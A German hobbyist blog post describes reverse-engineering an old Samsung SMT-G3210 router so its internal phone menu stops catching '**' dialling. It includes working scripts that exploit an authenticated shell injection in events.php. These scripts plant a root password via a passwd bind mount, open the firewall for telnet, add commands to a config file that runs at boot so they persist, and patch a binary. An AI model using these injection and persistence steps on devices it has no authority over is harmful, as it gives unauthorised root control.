Recycling des Samsung Routers SMT-G3210

Mit Abschluss meines ersten DSL-Vertrags erhielt ich von Freenet ein Samsung IAD (Integrated Access Device), welches DSL-Modem (ADSL2+, Annex B), WLAN-Accesspoint (54 MBit/s, 108g-Support), 4-Port-Switch (10/100 MBit/s), Medienserver (nur FTP), ISDN-Telefonanlage und Router/Firewall in einem Gerät kombinierte. Freenet wurde dann später von 1&1 übernommen und ich erhielt im Rahmen der Umstellung auf Annex J eine FritzBox und der alte Samsung-Router landete für die nächsten 10 Jahre im Bastelregal. Mit den technischen Spezifikationen war das Gerät komplett überholt, aber für die Tonne zu schade.

Wiederentdeckt wurde der Router nun für die Einrichtung eines Arbeitsbereiches für zwei Personen, für den auch weitere Telefone benötigt wurden. Da dort weder TAE-Dosen noch ein für DECT ausreichender Empfang vorhanden waren, hätten hierfür eigentlich zwei Internettelefone angeschafft werden müssen. Deutlich günstiger konnte das Vorhaben mit dem SMT-G3210 realisiert werden: Damals wie heute registrieren sich IAD an einem vom Telefonanbieter bereitgestellten SIP-Server, wie es auch Internettelefone oder entsprechende Handy-Apps machen. Zusätzlich fungieren sie jedoch als ATA (Analog-Telefon-Adapter), der den Anschluss klassischer Telefone, Anrufbeantworter, Faxgeräte und dergleichen ermöglicht. Diese sind auch heute noch sehr verbreitet, kosten einen Bruchteil ihrer internetfähigen Nachfolger und benötigen in der Regel auch weniger Energie. Der SMT-G3210 verfügt über einen Modus, bei dem der Router keine eigene Internetverbindung herstellt, sondern an ein bestehendes LAN angeschlossen werden kann. Aus dieser Überlegung keimte die Idee, das Gerät ins neue Büro zu stellen, wo Telefone und Computer direkt angeschlossen werden können. Als SIP-Server wird eine FritzBox eingesetzt, sodass auch interne Telefonate an die dort angeschlossenen Geräte möglich sein sollten.

Das Problem mit zwei Telefonanlagen

Anschluss und Inbetriebnahme des alten Routers gestalten sich unproblematisch und haben etwas nostalgisches. Der Router wird per Netzwerkkabel an die FritzBox angeschlossen und arbeitet problemlos mit dem dort integrierten SIP-Server zusammen. Neben der abgebildeten Konfiguration sollten die automatische Ortsvorwahl und die Einstellung STUN verwenden (nur im ATA Betrieb) deaktiviert werden. Zum einen ist die FritzBox direkt erreichbar, zum anderen wird der Router ansonsten versuchen iphone-stun.freenet.de zu kontaktieren - einen Dienst, den es schon seit Jahren nicht mehr gibt. Das ist nicht die einzige Stelle, an der deutlich wird, dass der Router längst das Ende seines Produktlebenszyklus überschritten hat.

Problematisch wird die Konstruktion, wenn ein anderes internes FritzBox-Gerät (z.B. der Anrufbeantworter) angerufen werden soll. Die hierfür zu wählenden Telefonnummern (z.B. **1) werden nicht an die FritzBox weitergegeben, da die interne Telefonanlage des SMT auf den Doppelstern reagiert. Dass sich dies nicht über die Weboberfläche verhindern lies, war leider ein echter Show-Stopper. Den Telnet-Zugang zur Box hatte 1&1 mit ihrem letzten Firmware-Update abgeschaltet und leider erweisen sich alle Firmware-Links inzwischen als tot.

Hack' in the box

Das Gerät stellt auf der seriellen Schnittstelle eine Konsole (115200 Baud, 8 Bit, ohne Parität) zur Verfügung. Die root-Passworte amazon und banana, wie sie in alten Forenbeiträgen benannt werden, erwiesen sich leider als falsch. Beim Lesen der Beiträge wird auch deutlich, dass mit dem letzten Firmware-Update nicht nur der Telnet-Zugang deaktiviert wurde, sondern dass auch der Bootloader zugenagelt wurde. Ohne das Passwort oder eine alte Firmware gäbe es also keinen Weg in die Box. Mit anderen Worten: Das letzte Update machte die Kiste zum Elektroschrott. Sauerei!

Durch sehr viel Glück entdeckte ich Michaels Seite, der zwar ebenfalls keine Original-Firmware mehr hat, allerdings einen alten rootfs-Tarball des Grundsystems anbietet. Darin wird ersichtlich, dass der interne Webserver (zur Konfiguration mittels Browser) mit root-Rechten läuft und diverse PHP-Skripte ausführt. Im Skript zur Ansicht der Ereignisprotokolle fand sich folgender Codeschnipsel:

[...]
@extract($_POST);
$msg_tmp1 = $message->get_line(1)."?";//Clear ALL

if (!$tab_index)
{
        $tab_index = "0";
}

[...]

if(!$action || $action == 'refresh'){
        $action = "working";
        exec("/usr/local/www/contents/system/event $tab_index");
}

[...]

Die Variablen $tab_index und $action werden aus dem POST-Request befüllt und nicht validiert. Das Ergebnis ist eine (passwortgesicherte) Möglichkeit zur Shell-Injektion. Nice!

Ein erster Versuch die vorhandenen Accounts via "cat /etc/passwd > /tmp/messages.new" ins Event-Log zu schreiben, offenbarte den gesuchten Passwort-Hash ($1$$ZUsHoMkm4M8FSYRUHQqVe0), der sich leider nicht in vertretbarer Zeit knacken ließ. Da die Partition (ein squashfs) schreibgeschützt ist, kann die Datei auch nicht ohne weiteres geändert werden. Allerdings lässt sich mittels Shell-Injektion inetd mit einer im ramfs erstellten Konfigurationsdatei starten, sodass /bin/sh zum Serverdienst wird. Ein anderer, deutlich sicherer, Weg ist passwd zu überbinden (bind mount). Das erledigt das nachfolgende Skript. Es fragt das Passwort zur Weboberfläche ab und führt den Angriff durch, wodurch eine serielle Anmeldung mit dem Passwort banana möglich wird. Sollte der login Prozess die alte Datei bereits gelesen haben, reicht in der Regel eine erneute Ausführung nach Neustart des Routers.

#!/bin/bash

ROUTER_IP=192.168.220.1

read -p "Passwort zum Web-UI: " password

token=$(wget "http://$ROUTER_IP/login/login.php" --post-data="login_retry=no&ok=ok&basic=&login_pwd=$password" \
  -qO - | grep 'var iad =' | awk -F= '{print $2}' | awk '{print $1}')
echo "Token: $token"

wget "http://$ROUTER_IP/contents/system/events.php" --header "Cookie: iad=$token" -qO /dev/null \
  --post-data='tab_index=0;umount /etc/passwd; echo root:\$1\$\$zZQKNjRd94GHyYOwXuStf0:0:0:root:/root:/bin/sh > /tmp/passwd.new; mount -o bind /tmp/passwd.new /etc/passwd;'
echo "Done!"

Reverse Engineering

Leider bestand auch über die Konsole keine einfache Möglichkeit zur Deaktivierung der internen Telefonanlage. Samsung setzte hier auf (scheinbar) proprietäre Eigenentwicklungen, die sich aus verschiedenen Prozessen zusammensetzen. Um sehr schnell herauszufinden, welcher Prozess zur Ansteuerung der TAE-Schnittstelle dient, wurden diese nacheinander abgeschossen, bis die Telefone ausfielen. Ergebnis: /bin/sp.

Leider kann die nicht-kommerzielle Version von IDA Pro keine MIPS-Binaries laden und außerdem ist der Linuxkernel auf dem Router für einen leistungsfähigen gdbserver zu alt. Die Analyse des Binärcodes konnte daher nur statisch erfolgen. Während ich bei x86 bisher IDA Pro bevorzugte, war ich diesmal sehr von Ghidra angetan. Allerdings erwies sich das gefundene /bin/sp als halbe Sackgasse: Zwar war schnell ein Signalhandler gefunden, der viele Debugausgaben aktiviert (killall -USR1 sp). Allerdings wurde dadurch klar, dass das Programm die Daten letztlich nur an einen Hauptprozess weiterreicht, wo die Telefoniefunktionen verankert sind. Interessant jedoch: Beim Wählen werden die Ziffern als 0x00...0x09 übertragen, die Sterntaste entspricht 0x0a (= 10) und die Rautetaste 0x0b.

Die Analyse von /bin/main gestaltete sich etwas aufwändiger, da das Programm deutlich größer ist und mehrere Aufgaben erfüllt. Beim ersten Durchscrollen stießen mir die Funktionen sm_print() und deren Referenzen ins Auge: Eine Reihe globaler Variablen entscheidet, ob Debugausgaben an sm_print() übergeben werden sollen, welches die Meldungen dann zustandsabhängig ausgibt oder verwirft. Um die Suche etwas dynamischer zu gesalten, wurden diese Variablen nun jeweils mit 1 definiert und die Zustandsprüfung aus sm_print() entfernt. Das modifizierte Binary wurde auf dem IAD mittels wget vom Analyserechner heruntergeladen und anstelle des "echten" Hauptprozesses gestartet. Es folgten unzählige Ausgaben auf der seriellen Konsole des Geräts.

Während verschiedener Anrufversuche wurden diese Ausgaben gespeichert, um auffällige Zeichenketten später im Binärcode wiederfinden zu können. Dabei zeigte sich, dass CCB_SAVE_STATE im Zusammenhang mit Reservierung und Freigabe externer Leitungen aufgerufen wird. Der zweite Parameter kennzeichnet dabei den eingenommenen Zielzustand (0x00 = Leitung ungenutzt, 0x01 = Telefonanlage, 0x03 = Amtsholung, 0x6e = externes Amt). Zur Deaktivierung der internen Telefonanlage muss also ein Betreten des Zustands 0x01 verhindert werden. Es gibt 64 Stellen, wo die Funktion mit entsprechend konstantem Parameter aufgerufen wird (zzgl. zwei Aufrufen mit variablem Parameter).

Durch Abgleich der Konsolenausgaben mit den potentiellen Aufrufern von CCB_SAVE_STATE ergab sich dgp_bri_digit als wahrscheinlichster Kandidat. Eine Analyse des Binärcodes ergab, dass der Hauptprozess die gewählte Telefonnummer komprimiert speichert, indem jeweils zwei Ziffern in ein Byte geschrieben werden (= 2 mal 16 Möglichkeiten). Weiterhin inkrementiert jeder Tastendruck einen internen Zähler. Erreicht dieser den Wert 2 und ist die letzte Doppelziffer 0xAA (= 2 mal Sterntaste), wird die externe Leitung wieder freigegeben und CCB_SAVE_STATE zum Speichern des Zustands aufgerufen. Bingo!

Modifikation

Das Deaktivieren des internen Telefonmenüs ist nun trivial. Ich entschied mich dafür, die Prüfung des Ziffernzählers zu manipulieren, sodass dieser fortan mit 0 verglichen wird. Da beim Aufruf der Funktion bereits mindestens eine Ziffer gewählt wurde, ist das eine Kontradiktion. Dies hat gegenüber einer Veränderung der Sprunginstruktionen den Vorteil, dass sich der analysierte Programmfluss nicht ändert, was eine eventuell nachfolgende Analyse vereinfachen würde. Der darauffolgende Test verlief sofort positiv: Die Ziffernfolge **1 triggert nun nicht mehr die Telefonanlage des Siemens Routers, sondern wird via SIP an die FritzBox weitergegeben, wo nun das angeschlossene Analogtelefon klingelt. Soll dennoch das Telefonmenü des Siemensrouters aktiviert werden (z.B. zum Herstellen einer Dreierkonferenz), ist dieses auch weiterhin mittels Flash (R-Taste) erreichbar.

Die beschriebene Lösung eröffnet damit neue Möglichkeiten ohne vorhandene Funktionen zu beschränken. Ein voller Erfolg! Da nicht ganz klar ist, welche Teile der Software unter die GPL fallen, biete ich das veränderte Programm nicht zum Download an. Wer mag, kann es aber selbst patchen:

# cp main main.patched
# echo -e "\x00" | dd of=main.patched bs=1 count=1 seek=2338455 conv=notrunc 2>/dev/null
# echo -e "\x00" | dd of=main.patched bs=1 count=1 seek=2339531 conv=notrunc 2>/dev/null
# echo -e "\x00" | dd of=main.patched bs=1 count=1 seek=2340259 conv=notrunc 2>/dev/null
# md5sum main main.patched
821c82d0607f7cfc81768eeca0cfc491  main
89445ebef8285604dc5ec6e6d0205608  main.patched

Persistierung

Die beschriebenen Änderungen müssen nach jedem Neustart des Routers erneut durchgeführt werden, was die Zuverlässigkeit (z.B. nach einem Stromausfall) deutlich schmälert. Das veränderte Programm muss also entweder in den Flash geschrieben werden oder ein externes System muss den Router regelmäßig prüfen, um die Änderungen per Shell-Injection ggf. erneut anzuwenden. Da der SMT ein squashfs benutzt, das nicht verändert werden kann, müsste zur Persistierung ein Großteil der Firmware überschrieben werden. Das stellt ein hohes Risiko dar, weil keine originalen Firmware-Images mehr zur Verfügung stehen, um das System im Fehlerfall wiederherstellen zu können. Ein Ausweg bietet der Konfigurationsbereich des Routers, der aber nur 1,5 MB groß ist und für das über 7 MB große Binary nicht ausreichend Platz bietet. Weiterhin müssten die Modifikationen bei jedem Neustart an die korrekte Stelle kopiert werden, sodass auch hierfür eines der Startskripte modifiziert werden müsste.

Glücklicherweise fanden sich unter den Konfigurationsdateien gleich mehrere, die beim Systemstart nicht nur gelesen, sondern sogar ausgeführt werden. Praktisch! Ich entschied mich die Datei /configs/etc/network-file/ifcfg_lan1 derart zu ergänzen, dass das Hautprogramm aus dem squashfs in den Arbeitsspeicher kopiert wird, dort gepatch und schließlich überbunden wird. Bei dieser Gelegenheit wird auch das root-Kennwort gesetzt und die Firewall für Telnet geöffnet - nicht optimal, aber im LAN ausreichend. Die Datei sieht schließlich so aus (alter Inhalt in grau):

connection_proto="fixed" ENABLE="1" IF="br0" IPADDR="192.168.220.1" NETMASK="255.255.255.0" DHCP_SERVER="1" DHCP_START="192.168.220.100" DHCP_END="192.168.220.200" DHCP_MAX_LEASES="101" DHCP_LEASE_TIME="86400" DHCP_DOMAIN="samsung.router" DHCP_HOST="" ROUTE_COUNT="0"
FOO="bar" ;iptables -D INPUT -p tcp --dport 30023 -j ACCEPT FOO="bar" ;iptables -I INPUT -p tcp --dport 30023 -j ACCEPT FOO="bar" ;if ! test -f /tmp/passwd.new; then echo root:\$1\$\$zZQKNjRd94GHyYOwXuStf0:0:0:root:/root:/bin/sh > /tmp/passwd.new; mount -o bind /tmp/passwd.new /etc/passwd; fi FOO="bar" ;if ! test -f /tmp/main.new; then cp /bin/main /tmp/main.new; echo -e "\x00" | dd of=/tmp/main.new bs=1 count=1 seek=2338455 conv=notrunc; echo -e "\x00" | dd of=/tmp/main.new bs=1 count=1 seek=2339531 conv=notrunc; echo -e "\x00" | dd of=/tmp/main.new bs=1 count=1 seek=2340259 conv=notrunc; mount -o bind /tmp/main.new /bin/main; killall main; fi

Damit der Telnetserver auch gestartet wird, muss außerdem die Datei /configs/etc/telnet_enable angelegt werden. Einen Nachteil gibt es natürlich: Wird im Webinterface die IP-Adresse des Routers geändert oder der DHCP-Server rekonfiguriert, gehen die Änderungen verloren. Gleiches gilt für ein Zurücksetzen auf Werkseinstellungen. Dann hilft jedoch die One-Klick-Lösung des nächsten Abschnitts:

TL;DR

Zur Deaktivierung der Tastenfolge ** (Stern-Stern) der internen Telefonanlage des SMT-G3210 mit Firmware 3210 Phone WLAN SL V03.07 (27-01-2011) kann folgendes Skript genutzt werden:

#!/bin/bash

ROUTER_IP=192.168.220.1

read -p "Passwort zum Web-UI: " password

token=$(wget "http://$ROUTER_IP/login/login.php" --post-data="login_retry=no&ok=ok&basic=&login_pwd=$password" \
  -qO - | grep 'var iad =' | awk -F= '{print $2}' | awk '{print $1}')
echo "Token: $token"

echo "Creating /configs/etc/telnet_enable"
wget "http://$ROUTER_IP/contents/system/events.php" --header "Cookie: iad=$token" -qO /dev/null \
  --post-data='tab_index=0;touch /configs/etc/telnet_enable'

echo "Creating /tmp/autostart.tmp"
wget "http://$ROUTER_IP/contents/system/events.php" --header "Cookie: iad=$token" -qO /dev/null \
  --post-data='tab_index=0;grep -v FOO /configs/etc/network-file/ifcfg_lan1 > /tmp/autostart.tmp'
wget "http://$ROUTER_IP/contents/system/events.php" --header "Cookie: iad=$token" -qO /dev/null \
  --post-data='tab_index=0;echo FOO=\"bar\" \;iptables -D INPUT -p tcp --dport 30023 -j ACCEPT >> /tmp/autostart.tmp'
wget "http://$ROUTER_IP/contents/system/events.php" --header "Cookie: iad=$token" -qO /dev/null \
  --post-data='tab_index=0;echo FOO=\"bar\" \;iptables -I INPUT -p tcp --dport 30023 -j ACCEPT >> /tmp/autostart.tmp'
wget "http://$ROUTER_IP/contents/system/events.php" --header "Cookie: iad=$token" -qO /dev/null \
  --post-data='tab_index=0;echo FOO=\"bar\" \;if ! test -f /tmp/passwd.new\; then echo root:\\\$1\\\$\\\$zZQKNjRd94GHyYOwXuStf0:0:0:root:/root:/bin/sh \> /tmp/passwd.new\; mount -o bind /tmp/passwd.new /etc/passwd\; fi >> /tmp/autostart.tmp'
wget "http://$ROUTER_IP/contents/system/events.php" --header "Cookie: iad=$token" -qO /dev/null \
  --post-data='tab_index=0;echo FOO=\"bar\" \;if ! test -f /tmp/main.new\; then cp /bin/main /tmp/main.new\; echo -e \"\\x00\" \| dd of=/tmp/main.new bs=1 count=1 seek=2338455 conv=notrunc\; echo -e \"\\x00\" \| dd of=/tmp/main.new bs=1 count=1 seek=2339531 conv=notrunc\; echo -e \"\\x00\" \| dd of=/tmp/main.new bs=1 count=1 seek=2340259 conv=notrunc\; mount -o bind /tmp/main.new /bin/main\; killall main\; fi >> /tmp/autostart.tmp'

echo "Writing /configs/etc/network-file/ifcfg_lan1"
wget "http://$ROUTER_IP/contents/system/events.php" --header "Cookie: iad=$token" -qO /dev/null \
  --post-data='tab_index=0;cat /tmp/autostart.tmp > /configs/etc/network-file/ifcfg_lan1'

echo "Reboot"
wget "http://$ROUTER_IP/contents/system/events.php" --header "Cookie: iad=$token" -qO /dev/null \
  --post-data='tab_index=0;reboot'

echo "Done!"

Fazit

Der neue Arbeitsbereich ist fertig, die Telefone sind angeschlossen und funktionieren. Das beschriebene Vorgehen war natürlich eher ein Selbstzweck, um dem 15 Jahre alten Gerät eine zweite Chance geben zu können. Dennoch bleibt anzumerken, dass der Samsung Router (als damals Vertragsdreingabe) älter geworden ist, als viele FritzBoxen späterer Vertragsabschlüsse. Außerdem fanden sich verschiedene Hinweise auf weitere Funktion (z.B. eine Türgegensprechanlage), die mit dem Gerät niemals beworden wurden. Ob diese Softwarefunktionen in anderen Modellen Verwendung fanden oder nie fertig gestellt wurden, bleibt offen. Der entgegenstehende Analyseaufwand wäre unverhältnismäßig - zumal ich das gewünschte Ergebnis bereits erzielen konnte. Sollte bei einer vergleichbaren Problemstellung der Kauf eines Gebrauchtgerätes erwogen werden? Eher nicht. Wer noch so einen Router herumliegen und Spaß am Basteln hat, macht aber nichts verkehrt. Die Software ist auch für Einsteiger gut analysierbar (ich habe insgesamt rund 8 Stunden gebraucht) und niemand muss fürchten, ein Stück Elektronikschrott zu bricken.